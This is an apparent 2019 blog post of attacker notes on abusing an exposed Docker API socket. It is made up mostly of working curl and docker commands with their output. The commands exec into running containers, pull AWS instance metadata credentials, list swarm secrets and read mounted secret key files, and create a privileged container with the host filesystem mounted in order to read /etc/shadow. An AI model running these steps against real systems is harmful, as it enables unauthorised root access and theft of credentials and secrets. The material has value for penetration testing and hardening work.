Friday, February 1, 2019

Abusing Docker API | Socket

Notes on abusing open Docker sockets

This wont cover breaking out of docker containers

Ports: usually 2375 & 2376 but can be anything


Enable docker socket (Create practice locations)

Having the docker API | socket exposed is essentially granting root to any of the containers on the system

The daemon listens on unix:///var/run/docker.sock but you can bind Docker to another host/port or a Unix socket.

The docker socket  is the socket the Docker daemon listens on by default and it can be used to communicate with the daemon from within a container, or if configured, outside the container against the host running docker.

All the docker socket magic is happening via the docker API. For example if we wanted to spin up an nginx container we'd do the below:

Create a nginx container

The following command uses curl to send the {“Image”:”nginx”} payload to the /containers/create endpoint of the Docker daemon through the unix socket. This will create a container based on Nginx and return its ID.

$ curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"nginx"}' -H 'Content-Type: application/json' http://localhost/containers/create


Start the container

 $ curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/fcb65c6147efb862d5ea3a2ef20e793c52f0fafa3eb04e4292cb4784c5777d65/start

As mentioned above you can also have the docker socket listen on a TCP port

You can validate it's docker by hitting it with a version request

 $ curl -s http://open.docker.socket:2375/version | jq


  "Version": "1.13.1",
  "ApiVersion": "1.26",
  "MinAPIVersion": "1.12",
  "GitCommit": "07f3374/1.13.1",
  "GoVersion": "go1.9.4",
  "Os": "linux",
  "Arch": "amd64",
  "KernelVersion": "3.10.0-514.26.2.el7.x86_64",
  "BuildTime": "2018-12-07T16:13:51.683697055+00:00",
  "PkgVersion": "docker-1.13.1-88.git07f3374.el7.centos.x86_64"

 or with the docker client

docker -H  open.docker.socket:2375 version


  Version:          1.13.1
  API version:      1.26 (minimum version 1.12)
  Go version:       go1.9.4
  Git commit:       07f3374/1.13.1
  Built:            Fri Dec  7 16:13:51 2018
  OS/Arch:          linux/amd64
  Experimental:     false

This is basically a shell into the container

Get a list of running containers with the ps command

docker -H  open.docker.socket:2375 ps

CONTAINER ID        IMAGE                                               COMMAND                  CREATED             STATUS              PORTS                                           NAMES

72cd30d28e5c        gogs/gogs                                           "/app/gogs/docker/st…"   5 days ago          Up 5 days >3000/tcp,>22/tcp   gogs
b522a9034b30        jdk1.8                                              "/bin/bash"              5 days ago          Up 5 days                                                           myjdk8
0f5947860c17        centos/mysql-57-centos7                             "container-entrypoin…"   8 days ago          Up 8 days >3306/tcp                          mysql
3965c004c7a7   "java -jar /app.jar"     8 days ago          Up 8 days >12000/tcp                        config
3f466b754971        42cb59080921                                        "/bin/bash"              8 days ago          Up 8 days                                                           jdk8
6499013fdc2d        registry                                            "/ /etc…"   8 days ago          Up 8 days >5000/tcp                          registry

Exec into one of the containers

docker -H  open.docker.socket:2375 exec -it mysql /bin/bash

bash-4.2$ whoami


Other commands

Are there some stopped containers?
docker -H open.docker.socket:2375 ps -a

What are the images pulled on the host machine?
docker -H open.docker.socket:2375 images

I've frequently not been able to get the docker client to work well when it comes to the exec command but you can still code exec in the container with the API.  The example below is using curl to interact with the API over https (if enabled). to create and exec job, set up the variable to receive the out put and then start the exec so you can get the output.

Using curl to hit the API

Sometimes you'll see 2376 up for the TLS endpoint.  I haven't been able to connect to it with the docker client but you can with curl no problem to hit the docker API.

Docker socket to metadata URL

Below is an example of hitting the internal AWS metadata URL and getting the output

list containers:

curl --insecure https://tls-opendocker.socker:2376/containers/json | jq
    "Id": "f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668",
    "Names": [
    "Image": "dotnetify",
    "ImageID": "sha256:23b66a91f928ea6a49bce1be4eabedbafd41c5dfa4e76c1a94062590e54550ca",
    "Command": "cmd /S /C 'dotnet netify-temp.dll'",
    "Created": 1541018555,
    "Ports": [
        "IP": "",
        "PrivatePort": 443,
        "PublicPort": 50278,

List processes in a container:

curl --insecure https://tls-opendocker.socker:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq

  "Processes": [

Set up and exec job to hit the metadata URL:

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO-"]}'


Get the output:

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'


  "Code" : "Success",
  "LastUpdated" : "2019-01-29T20:12:58Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIATRSNIP",
  "SecretAccessKey" : "CD6/h/egYHmYUSNIPSNIPSNIPSNIPSNIP",
  "Expiration" : "2019-01-30T02:43:34Z"

 Docker secrets
 relevant reading

 list secrets (no secrets/swarm not set up)

 curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq

 { "message": "This node is not a swarm manager. Use \"docker swarm init\" or \"docker swarm join\" to connect this node to swarm and try again."}

 list secrets (they exist)

 $ curl -s --insecure https://tls-opendocker.socket:2376/secrets | jq
    "ID": "9h3useaicj3tr465ejg2koud5",
    "Version": {
      "Index": 21

    "CreatedAt": "2018-07-06T10:19:50.677702428Z",

    "UpdatedAt": "2018-07-06T10:19:50.677702428Z",
    "Spec": {
      "Name": "registry-key.key",
      "Labels": {} }},

Check what is mounted

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "mount"]}'


Get the output by starting the exec

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/7fe5c7d9c2c56c2b2e6c6a1efe1c757a6da1cd045d9b328ea9512101f72e43aa/start -d '{}'

overlay on / type overlay 

proc on /proc type proc (rw,nosuid,nodev,noexec,relatime)
tmpfs on /dev type tmpfs (rw,nosuid,size=65536k,mode=755)
devpts on /dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=666)
sysfs on /sys type sysfs (ro,nosuid,nodev,noexec,relatime)
mqueue on /dev/mqueue type mqueue (rw,nosuid,nodev,noexec,relatime)
/dev/sda2 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda2 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro,data=ordered)
/dev/sda2 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro,data=ordered)
shm on /dev/shm type tmpfs (rw,nosuid,nodev,noexec,relatime,size=65536k)
/dev/sda2 on /var/lib/registry type ext4 (rw,relatime,errors=remount-ro,data=ordered)
tmpfs on /run/secrets/registry-cert.crt type tmpfs (ro,relatime)
tmpfs on /run/secrets/htpasswd type tmpfs (ro,relatime)
tmpfs on /run/secrets/registry-key.key type tmpfs (ro,relatime)

Cat the mounted secret

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/e280bd8c8feaa1f2c82cabbfa16b823f4dd42583035390a00ae4dce44ffc7439/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /run/secrets/registry-key.key"]}'


 curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/3a11aeaf81b7f343e7f4ddabb409ad1eb6024141a2cfd409e5e56b4f221a7c30/start -d '{}'



If you have secrets, it's also worth checking out services in case they are adding secrets via environment variables

 curl -s --insecure https://tls-opendocker.socket:2376/services | jq


    "ID": "amxjs243dzmlc8vgukxdsx57y",
    "Version": {
      "Index": 6417
    "CreatedAt": "2018-04-16T19:51:20.489851317Z",
    "UpdatedAt": "2018-12-07T13:44:36.6869673Z",
    "Spec": {
      "Name": "app_REMOVED",
      "Labels": {},
      "TaskTemplate": {
        "ContainerSpec": {
          "Image": "dpage/pgadmin4:latest@sha256:5b8631d35db5514d173ad2051e6fc6761b4be6c666105f968894509c5255c739",
          "Env": [
          "Isolation": "default"

 Creating a container that has mounted the host file system

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket2376/containers/create?name=test -d '{"Image":"alpine", "Cmd":["/usr/bin/tail", "-f", "1234", "/dev/null"], "Binds": [ "/:/mnt" ], "Privileged": true}'


curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/start?name=test

Read something from the host

curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "cat /mnt/etc/shadow"]}'


curl --insecure -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/exec/140e09471b157aa222a5c8783028524540ab5a55713cbfcb195e6d5e9d8079c6/start -d '{}'




Stop the container

curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/0f7b010f8db33e6abcfd5595fa2a38afd960a3690f2010282117b72b08e3e192/stop

delete stopped containers

curl --insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune

No comments:

Post a Comment